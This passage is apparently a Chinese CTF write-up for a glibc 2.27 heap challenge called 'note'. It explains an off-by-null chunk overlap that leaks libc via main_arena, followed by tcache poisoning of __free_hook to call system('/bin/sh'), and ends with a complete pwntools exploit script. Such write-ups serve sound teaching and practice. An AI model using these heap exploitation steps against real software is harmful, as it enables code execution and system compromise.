0x55b7be1ba310: 0x6161616161616161 0x6161616161616161
0x55b7be1ba320: 0x6161616161616161 0x6161616161616161
0x55b7be1ba330: 0x6161616161616161 0x6161616161616161
0x55b7be1ba340: 0x6161616161616161 0x6161616161616161
0x55b7be1ba350: 0x0000000000000100 0x0000000000000201 # chunk1_old(allocated)
0x55b7be1ba360: 0x00007f0d34c9bca0 0x00007f0d34c9bca0
0x55b7be1ba370: 0x6161616161616161 0x6161616161616161
0x55b7be1ba380: 0x6161616161616161 0x6161616161616161

“chunk_free”在“chunk_new”的下方,理论上,新申请的chunk都可以打印“main_arena”

但是“add”中,强行把输入结束后的下一个字节用“\x00”覆盖了,导致puts中断

连续申请两个大小为“0x80”的chunk后,chunk_free刚好与chunk1_old重合,导致“arena_main”被写入chunk1_old,而chunk1_old原本就在“list”中,可以直接打印

最后打free_hook就可以了:

1
2
3
4
5
6
add(0, 0x60, '\n') # 申请到了chunk1_old(在list中,可以直接edit)
delete(0) # 进入tcachebin
edit(1, p64(free_hook)) # edit chunk1_old
add(1, 0x60, '/bin/sh\x00')
add(2, 0x60, p64(system_libc))
delete(1)

再次申请“0x70”字节的chunk,实际上申请了chunk1_old(和chunk0_new重合),释放然后进入tcachebin,在chunk1_old中写入的“free_hook”也会进入tcachebin:

1
2
3
tcachebins
0x70 [ 1]: 0x55eda3495360 —▸ 0x7fb6d7a518e8 (__free_hook) ◂— ...
0x100 [ 7]: 0x55eda3495b60 —▸ 0x55eda3495a60 —▸ 0x55eda3495960 —▸ 0x55eda3495860 —▸ 0x55eda3495760 —▸ 0x55eda3495660 —▸ 0x55eda3495560 ◂— 0x0
  • “add(1, 0x60, ‘/bin/sh\x00’)”会申请“0x55eda3495360”
  • “add(2, 0x60, p64(system_libc))”会申请“0x7fb6d7a518e8”

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

p=process("./note")
elf=ELF("./note")
libc = ELF("./libc-2.27.so")

def delete(index):
p.sendlineafter('>> ','3')
p.sendlineafter('index?\n>> ',str(index))

def add(index,size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('index?\n>> ',str(index))
p.sendlineafter('size?\n>> ',str(size))
p.sendafter('content?\n>> ',content)

def show(index):
p.sendlineafter('>> ','2')
p.sendlineafter('index?\n>> ',str(index))

def edit(index,content):
p.sendlineafter('>> ','4')
p.sendlineafter('index?\n>> ',str(index))
p.send(content)

def farewell():
p.sendlineafter('>> ','4')

#gdb.attach(p)

for i in range(0, 11):
add(i, 0xF8, "a"*0xF0+"b"*0x8)

for i in range(3, 10):
delete(i)

delete(0)
edit(1, 'a' * 0xF0 + p64(0x200))
delete(2)

add(0, 0x70, "\n")
add(0, 0x70, "\n")
show(1)

leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-0x3ebca0
free_hook=libc_base+libc.sym['__free_hook']
system_libc=libc_base+libc.sym['system']
success("leak_addr >>"+hex(leak_addr))
success("libc_base >>"+hex(libc_base))
success("free_hook >>"+hex(free_hook))
success("system_libc >>"+hex(system_libc))

add(0, 0x60, '\n')
delete(0)
edit(1, p64(free_hook))
add(1, 0x60, '/bin/sh\x00')
add(2, 0x60, p64(system_libc))
delete(1)

#pause()

p.interactive()